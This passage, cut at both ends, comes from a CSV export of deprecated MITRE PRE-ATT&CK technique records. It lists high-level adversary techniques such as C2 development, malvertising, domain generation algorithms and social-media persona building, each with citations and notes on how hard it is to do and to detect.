'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1352,mitre-pre-attack,T1352,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,C2 protocol development,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1352). - -Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)",attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1129,C2 over commonly used and permitted protocols provides the necessary cover and access.,Yes,"Adversary will likely use code repositories, but development will be performed on their local systems.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1334', 'external_id': 'T1334'}, {'source_name': 'WateringHole2014', 'description': 'Pierluigi Paganini. (2014, February 15). FireEye discovered a new watering hole attack based on 0-day exploit. Retrieved March 1, 2017.'}, {'source_name': 'FireEye Operation SnowMan', 'description': 'Darien Kindlund, Xiaobo Chen, Mike Scott, Ned Moran, Dan Caselden. (2014, February 13). Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website. Retrieved March 28, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1334,mitre-pre-attack,T1334,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise 3rd party infrastructure to support delivery,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1334). - -Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)",attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1111,"Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",Yes,Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1253', 'external_id': 'T1253'}, {'source_name': 'SurveyDetectionStrategies', 'description': 'Jamal Raiyn. (2014). A survey of Cyber Attack Detection Strategies. Retrieved March 5, 2017.'}, {'source_name': 'CyberReconPaper', 'description': 'H. P. Sanghvi and M. S. Dahiya. (2013, February). Cyber Reconnaissance: An Alarm before Cyber Attack. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1253,mitre-pre-attack,T1253,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Conduct passive scanning,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1253). - -Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)",attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1030,Easy to do but it requires a vantage point conducive to accessing this data.,Yes,Generates no network traffic that would enable detection.,No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1383', 'url': 'https://attack.mitre.org/techniques/T1383'}, {'description': 'carlota. (2014, November 12). Stages of a Malware Infection. Retrieved April 1, 2017.', 'source_name': 'FireEye Malware Stages'}, {'description': 'Nart Villeneuve and James Bennett. (2012). Detecting APT Activity with Network Traffic Analysis. Retrieved March 9, 2017.', 'source_name': 'APTNetworkTrafficAnalysis'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'compromise'}]",1.0,False,https://attack.mitre.org/techniques/T1383,mitre-pre-attack,T1383,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Confirmation of launched compromise achieved,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)",attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046,attack-pattern,['compromise'],2020-03-30T14:17:12.000Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1160,"Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.",Yes,Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.,Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1231', 'external_id': 'T1231'}, {'source_name': 'KPMGChina5Year', 'description': 'KPMG. (2016, October 19). China’s 13th Five-Year Plan signals a potential new era of Sino-foreign cooperation, finds KPMG report. Retrieved March 2, 2017.'}, {'source_name': 'China5YearPlans', 'description': 'Wikipedia contributors. (2017, February 8). Five-year plans of China. Retrieved March 2, 2017.'}, {'source_name': 'ChinaUN', 'description': ""People's Republic of China. (2015, November). China's 13th Five-Year Plan. Retrieved May 19, 2017.""}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1231,mitre-pre-attack,T1231,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create strategic plan,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1231). - -Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)",attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1008,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1380', 'url': 'https://attack.mitre.org/techniques/T1380'}, {'description': 'Michael Mimoso. (2015, March 30). AD NETWORKS RIPE FOR ABUSE VIA MALVERTISING. Retrieved March 9, 2017.', 'source_name': 'TPMalvertising'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1380,mitre-pre-attack,T1380,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Deploy exploit using advertising,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)",attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1,attack-pattern,['launch'],2020-03-30T14:18:44.045Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1157,"An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.",Yes,"Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1285', 'external_id': 'T1285'}, {'source_name': 'SANSCentratlizeManagement', 'description': 'Scott Rasmussen. (2002, January 28). Centralized Network Security Management: Combining Defense In Depth with Manageable Security. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1285,mitre-pre-attack,T1285,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine centralization of IT management,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1285). - -Determining if a ""corporate"" help desk exists, the degree of access and control it has, and whether there are ""edge"" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)",attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1062,"Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.",Yes,No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1242', 'external_id': 'T1242'}, {'source_name': 'CyberAdversaryBehavior', 'description': 'Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'}, {'source_name': 'JP3-60', 'description': 'Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'}, {'source_name': 'JP3-12R', 'description': 'Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'}, {'source_name': 'DoD Cyber 2015', 'description': 'Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'target-selection'}]",1.0,,https://attack.mitre.org/techniques/T1242,mitre-pre-attack,T1242,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine operational element,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1242). - -If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",attack-pattern--c860af4a-376e-46d7-afbf-262c41012227,attack-pattern,['target-selection'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1019,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,Yes,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1342', 'external_id': 'T1342'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}, {'source_name': 'RobinSageInterview', 'description': 'Joan Goodchild. (2010, July 8). The Robin Sage experiment: Fake profile fools security pros. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'persona-development'}]",1.0,,https://attack.mitre.org/techniques/T1342,mitre-pre-attack,T1342,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Develop social network persona digital footprint,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1342). - -Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)",attack-pattern--271e6d40-e191-421a-8f87-a8102452c201,attack-pattern,['persona-development'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1119,"The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.",Yes,"Unless there is some threat intelligence reporting, these users are hard to differentiate.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1323', 'url': 'https://attack.mitre.org/techniques/T1323'}, {'description': 'Damballa Day Before Zero Blog. (2012, March 5). Domain Generation Algorithms (DGA) in Stealthy Malware. Retrieved March 6, 2017.', 'source_name': 'DamballaDGA'}, {'description': 'Damballa. (n.d.). DGAs in the Hands of Cyber-Criminals Examining The State Of The Art In Malware Evasion Techniques. Retrieved March 6, 2017.', 'source_name': 'DambballaDGACyberCriminals'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",2.0,False,https://attack.mitre.org/techniques/T1323,mitre-pre-attack,T1323,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Generation Algorithms (DGA),"**This technique has been deprecated. Please use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1568/002).** - -The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)",attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe,attack-pattern,['adversary-opsec'],2020-03-30T14:06:00.117Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1100,This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.,Yes,"It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1262', 'external_id': 'T1262'}, {'source_name': 'UnseenWorldOfCookies', 'description': 'Joanna Geary, Chris Cross. (2012, April 13). Tracking the trackers: help us reveal the unseen world of cookies. Retrieved March 5, 2017.'}, {'source_name': 'Panopticlick', 'description': 'Electronic Frontier Foundation. (n.d.). Panopticlick: Is your browser safe against tracking?. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1262,mitre-pre-attack,T1262,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Enumerate client configurations,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1262). - -Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)",attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1039,Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.,Yes,"Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1364', 'external_id': 'T1364'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'stage-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1364,mitre-pre-attack,T1364,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Friend/Follow/Connect to targets of interest,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1364). - -A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)",attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d,attack-pattern,['stage-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1141,"Connecting with ""friends"" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.",Yes,"Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1233', 'external_id': 'T1233'}, {'source_name': 'BrighthubGapAnalysis', 'description': 'Ronda Bowen. (2014, March 26). Performing a Gap Analysis: Where Do You Begin?. Retrieved March 14, 2017.'}, {'source_name': 'ICD115', 'description': 'Office of the Director of National Intelligence. (2012, December 21). ICD 115: Intelligence Community Capability Requirements Process. Retrieved March 2, 2017.'}, {'source_name': 'JP2-01', 'description': 'Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1233,mitre-pre-attack,T1233,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify analyst level gaps,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1233). - -Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)",attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1010,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1270', 'external_id': 'T1270'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1270,mitre-pre-attack,T1270,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify groups/roles,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1270). - -Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)",attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1047,Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.,No,Searching publicly available sources that cannot be monitored by a defender.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1271', 'external_id': 'T1271'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1271,mitre-pre-attack,T1271,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify personnel with an authority/privilege,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1271). - -Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)",attack-pattern--762771c2-3675-4535-88e9-b1f891758974,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1048,Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.,No,The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1246', 'external_id': 'T1246'}, {'source_name': 'SmithSupplyChain', 'description': 'Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.'}, {'source_name': 'CERT-UKSupplyChain', 'description': 'CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.'}, {'source_name': 'RSA-supply-chain', 'description': 'RSA Research. (2017, February). KINGSLAYER – A SUPPLY CHAIN ATTACK. Retrieved May 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1246,mitre-pre-attack,T1246,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify supply chains,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246). - -Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)",attack-pattern--78e41091-d10d-4001-b202-89612892b6ff,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1023,Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.,No,"Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1336', 'external_id': 'T1336'}, {'source_name': 'KasperskyRedOctober', 'description': 'Kaspersky Labs. (2013, January 14). Kaspersky Lab Identifies Operation “Red October,” an Advanced Cyber-Espionage Campaign Targeting Diplomatic and Government Institutions Worldwide. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1336,mitre-pre-attack,T1336,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Install and configure hardware, network, and systems","This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1336). - -An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)",attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1113,"Skills are common to majority of computer scientists and ""hackers"". Can be easily obtained through contracting if not organic to adversary's organization.",Yes,Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1322', 'external_id': 'T1322'}, {'source_name': 'FakeSSLCerts', 'description': 'Paul Mutton. (2014, February 12). Fake SSL certificates deployed across the internet. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1322,mitre-pre-attack,T1322,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Misattributable credentials,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1322). - -The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)",attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1099,"An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.",Yes,"If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1331', 'external_id': 'T1331'}, {'source_name': 'FireEyeAPT17', 'description': 'FireEye. (2015, May). APT17: Hiding in Plain Sight - FireEye and Microsoft Expose Obfuscation Tactic. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1331,mitre-pre-attack,T1331,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obfuscate infrastructure,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1331). - -Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)",attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1108,Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.,Yes,Defender will generally not have visibility into their infrastructure.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1396', 'external_id': 'T1396'}, {'source_name': 'Krebs-Anna', 'description': 'Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/'}, {'source_name': 'Krebs-Booter', 'description': 'Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/'}, {'source_name': 'Krebs-Bazaar', 'description': 'Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 